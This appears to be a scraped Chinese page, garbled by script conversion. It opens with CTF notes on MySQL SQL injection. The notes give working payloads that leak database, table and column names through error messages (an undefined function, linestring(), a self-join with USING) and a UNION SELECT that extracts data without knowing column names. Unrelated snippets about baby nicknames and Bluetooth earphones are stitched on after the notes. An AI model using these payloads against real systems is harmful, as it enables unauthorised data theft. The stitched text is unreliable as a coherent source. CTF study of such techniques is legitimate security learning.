mysql特性
獲取資料庫名
未知函式可爆資料庫名 function youcanneverfindme17.a does not exist
獲取表名
and linestring(pro_id) //linestring()函式可爆表名
illegal non geometric '`youcanneverfindme17`.`product_2017ctf`.`pro_id`' value found during parsing
獲取欄位名
using join 獲取字段
pro_id=1 union select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id)) as c
獲取內容
在不出現欄位名的情況下查出內容，將乙個虛擬表和當前表聯合起來
pro_id=-1 union select 1,a.4,3,4 from (select 1,2,3,4 from dual union select * from product_2017ctf)a limit 3,1;
mysql爆庫 利用MySQL的報錯進行爆庫
在這裡主要是利用mysql資料庫的乙個bug 1 報錯原理，一步一步分析 從圖中可以看出，版本號是5.6.17 拿來實戰，查詢mysql資料庫中的user表 select from user where user root and select count concat select version...
mysql查詢疊字的名字 好聽到爆的疊字小名
小名也就是我們小時候常常使用的名字，一般用作於親人和好朋友。現在的小孩子基本上都會取小名，因為小名利於小孩子在幼兒園和同學或者老師進行溝通，畢竟小名比較可愛好記。如果叫對方小名的話，也容易拉近人與人之間的距離。好聽到爆的疊字小名推薦 小名最重要的一點就是要好聽，其次要可愛。畢竟這是小時候常用到的名字...
運動藍芽耳機什麼牌子好？2018銷量爆表的四大機型
轉眼間，2018年也即將邁入尾聲。在年末的這兩個月內，想和大家回顧一下今年湧現的無數藍芽耳機品牌中，有哪些曾經征服過萬眾的藍芽耳機品牌。第一款 雖 醜 卻萬人追捧的網紅藍芽耳機jeet jeet品牌雖其貌不揚，但在時尚圈 數碼圈卻火得一塌糊塗。各大專業 評測達人 時尚潮人等都曾推薦種草過。品牌舉辦的...